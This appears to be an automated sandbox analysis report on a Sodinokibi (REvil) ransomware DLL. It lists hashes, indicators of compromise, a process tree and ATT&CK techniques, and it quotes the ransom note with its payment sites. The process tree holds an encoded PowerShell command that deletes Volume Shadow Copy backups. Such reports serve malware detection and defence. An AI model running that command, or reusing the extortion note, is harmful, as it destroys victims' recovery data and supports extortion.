sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
89s
max time network
104s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
02-03-2024 17:01

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

166KB
MD5

c8db3c1a7b0dc871335676730312a915
SHA1

7b43678293329461b9e659f390606940deb8565c
SHA256

0eb2873b91bedb21963ce3150732914fefcbdec884cd7b3d0e63b5f5424d3b37
SHA512

4c0b5064a46dcaa1449c9eb650f40aeca82e65dd6109ff81b0713ce61e4e320c430467595bceb4faf72a0d673e078f1ee8c63679aee524cd2f30119524ac957b
SSDEEP

3072:JLFrb30BRtBZZg+i2ayyYOCWGPyLydrkxMT3Q8Z/ucc6CSf:NJ0BXScFyfC3Hd4ygK/yx

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Recovery\vkz97k84iy-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension vkz97k84iy. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/27352631D3F49D1E 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/27352631D3F49D1E Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: +dRaydYAPMz8i74TLhXgBz8PjCEyaIlkMq8Pb27bgcPKlKNbXNlEIKyha2aLo0oL BPBZmMMSox3Pfz2EDAZuOyVAVgd7YpGA89WP0S2BbXbCOZrGZV6tI0adhXJXUa7i +O7u7tim/5IJiXtyAgocMkP5qvORIteQhXpG8XKBaUtCERqVVHMV7j9j8K2tuHpV YxpMUUOCXizEoE3kwaIevvRwpapPIHWxnIYiewRntBUP36hQYORnUF8/5apLdWvz KOVN3rKENR5D9wz8+yceF4lMTfZDzltYJ+Bksf1Sfy94SUrlwV7yrabtn0CmjF10 0FBHF5X2DkXtp+GGqUgQuENBdgEr1rlYN0Z+4tgNc0Ev7UivQh1UWhS+plVnZeBd tIPkCO9BmiKGXdPMcQ1MxmxwAeKCTFwxIRLdTJeS8c5KnrlHRagXOyZHHNm2i8e+ ClwI7lduvm8LM907IgongV14+ouXCQLkz49brvBq8BhZxlb6WruFI4nhBVmOIurw z79Z+y9pSnyAVsQ4dIi7tUbGOb78BFP3vjDjUgYu59jRZi7PLq1oevdCcuA2Q6bN rwuBZKIaxAsf5EDF7H7aB4KjS7K8itn1SY606CY+8OkKR6YLSstV86z9udrM/nQI XaGFRyXng6cq2mWDERVUcmFR+40LWNljwKTxqh2v20YweHURfrEgQITn8kBi5KgV eP3K1g0dsCyim5Q4MyXVxeGmTtaY4rGQGfUoqQWACZFtRVaTkHVcq6ja4eZqHRbr ouM/o65k19X2jbjN2UA0W5ig7Y7PZMy257SjfD1tMuOcW0eRTWGhKd8jbJDwV7/j PaDQscBzp5CgDVWqNSLs+IdMqrolgwptuPw8RX8lwe3aks+mxf0lMoRuflh4GKgE y+/wLvxBmsL0V4JTuO0lycznlVIXrNlz6VIy6fscBsy0/O4uYdvPROzmsR6DnF+I YRAUs+QKfQs6fM+e8C2w4bUnaRRTojy81j1iPECd9Ock8HCrw+ygEGKnY1JSvPUq 9HDqLI8TZ1A/7W/S8srD6z8UMiONR8JO02eIAKbDJf3IDnmeVrGLxdOxjIg16Wix nCI7WceYuXmBRr2IeA1K8k0TVO3r6komNnEfta5ZTE712/kr1VN//70JbPuASIwN W1rx2iF7A+Ze/Im7OhbYaGJgK3/zLFSXgFy9VZKeGAK2nAncfO6QwVjNltyj23/x kueGOLLmElcVuRfuve6xw8FgLmyeD25W7a9N/DMaHjPIG28kA5ya1UW/oBvhAPfa ypFXPAhGIfPc1AWg3vXbUexwOwXp20K7D0nTxQrad49ib0bMoc9mUlAFRJa0YKfL ZTCgitaPf7SHQkAQ0GWs9ZysdYBbQd6JRjFQ41RJhu3MVwj0OEFALsrAPinkqw== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/27352631D3F49D1E

http://decryptor.cc/27352631D3F49D1E

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe

Drops file in Program Files directory 39 IoCs

description	ioc	Process
File created	\??\c:\program files\vkz97k84iy-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ApproveClear.xltx	rundll32.exe
File opened for modification	\??\c:\program files\CloseResume.reg	rundll32.exe
File opened for modification	\??\c:\program files\CloseSubmit.mp2	rundll32.exe
File opened for modification	\??\c:\program files\CompressConvertFrom.wm	rundll32.exe
File opened for modification	\??\c:\program files\CompressMeasure.wmf	rundll32.exe
File opened for modification	\??\c:\program files\ConfirmWait.avi	rundll32.exe
File opened for modification	\??\c:\program files\GroupRedo.ppsm	rundll32.exe
File opened for modification	\??\c:\program files\UpdateExit.svg	rundll32.exe
File opened for modification	\??\c:\program files\ConvertToAssert.xlsb	rundll32.exe
File opened for modification	\??\c:\program files\EditStep.wvx	rundll32.exe
File opened for modification	\??\c:\program files\InstallConfirm.svg	rundll32.exe
File opened for modification	\??\c:\program files\InstallExit.3gp	rundll32.exe
File opened for modification	\??\c:\program files\NewSync.wm	rundll32.exe
File opened for modification	\??\c:\program files\ReadRedo.wps	rundll32.exe
File opened for modification	\??\c:\program files\RestoreMove.m4a	rundll32.exe
File opened for modification	\??\c:\program files\MergeSelect.mp2v	rundll32.exe
File opened for modification	\??\c:\program files\PingSubmit.TS	rundll32.exe
File opened for modification	\??\c:\program files\RestartShow.xml	rundll32.exe
File opened for modification	\??\c:\program files\ResumeRename.html	rundll32.exe
File opened for modification	\??\c:\program files\StopExpand.svg	rundll32.exe
File opened for modification	\??\c:\program files\StopPop.ppsm	rundll32.exe
File opened for modification	\??\c:\program files\GetTrace.vsdx	rundll32.exe
File opened for modification	\??\c:\program files\LockHide.gif	rundll32.exe
File opened for modification	\??\c:\program files\OpenCopy.ppt	rundll32.exe
File opened for modification	\??\c:\program files\OutEnter.mpg	rundll32.exe
File opened for modification	\??\c:\program files\ReadMerge.wmv	rundll32.exe
File opened for modification	\??\c:\program files\FindRestart.midi	rundll32.exe
File opened for modification	\??\c:\program files\HideExit.wma	rundll32.exe
File opened for modification	\??\c:\program files\LockProtect.mpv2	rundll32.exe
File opened for modification	\??\c:\program files\RegisterInitialize.vssx	rundll32.exe
File opened for modification	\??\c:\program files\SearchUnpublish.bmp	rundll32.exe
File opened for modification	\??\c:\program files\SearchUse.potm	rundll32.exe
File opened for modification	\??\c:\program files\DenyNew.csv	rundll32.exe
File opened for modification	\??\c:\program files\DisconnectUndo.dwfx	rundll32.exe
File opened for modification	\??\c:\program files\GroupEdit.mpp	rundll32.exe
File created	\??\c:\program files (x86)\vkz97k84iy-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\DisconnectOptimize.emf	rundll32.exe
File opened for modification	\??\c:\program files\OptimizeConfirm.htm	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2972	rundll32.exe
2972	rundll32.exe
3860	powershell.exe
3860	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2972	rundll32.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeBackupPrivilege	1356	vssvc.exe
Token: SeRestorePrivilege	1356	vssvc.exe
Token: SeAuditPrivilege	1356	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3272 wrote to memory of 2972	3272	rundll32.exe	80
PID 3272 wrote to memory of 2972	3272	rundll32.exe	80
PID 3272 wrote to memory of 2972	3272	rundll32.exe	80
PID 2972 wrote to memory of 3860	2972	rundll32.exe	82
PID 2972 wrote to memory of 3860	2972	rundll32.exe	82

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:3272
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3860

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1744

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1356

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Recovery\vkz97k84iy-readme.txt

Filesize
6KB

MD5
8407eeb9126fe473a3648432086bf930

SHA1
b55da8c7a30af1fc50dd8dc0b21b5d9bc1f4f0eb

SHA256
3762220291e5adc14905081aa09919333a84f4a278320741fd5007b083527fd9

SHA512
88f94d5af8870b688f844dab9576f049ff724ba3294ea4fa6482be4ef83761899069411c39a7cfc33546fb44e8ea64a4dabee5b7efa72e902fb17b93e35a3ace

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5e4otle2.ogo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3860-8-0x00007FFF87940000-0x00007FFF88402000-memory.dmp

Filesize
10.8MB

Download
memory/3860-11-0x000002046A170000-0x000002046A180000-memory.dmp

Filesize
64KB

Download
memory/3860-10-0x000002046A170000-0x000002046A180000-memory.dmp

Filesize
64KB

Download
memory/3860-12-0x000002046A170000-0x000002046A180000-memory.dmp

Filesize
64KB

Download
memory/3860-9-0x000002046A840000-0x000002046A862000-memory.dmp

Filesize
136KB

Download
memory/3860-15-0x00007FFF87940000-0x00007FFF88402000-memory.dmp

Filesize
10.8MB

Download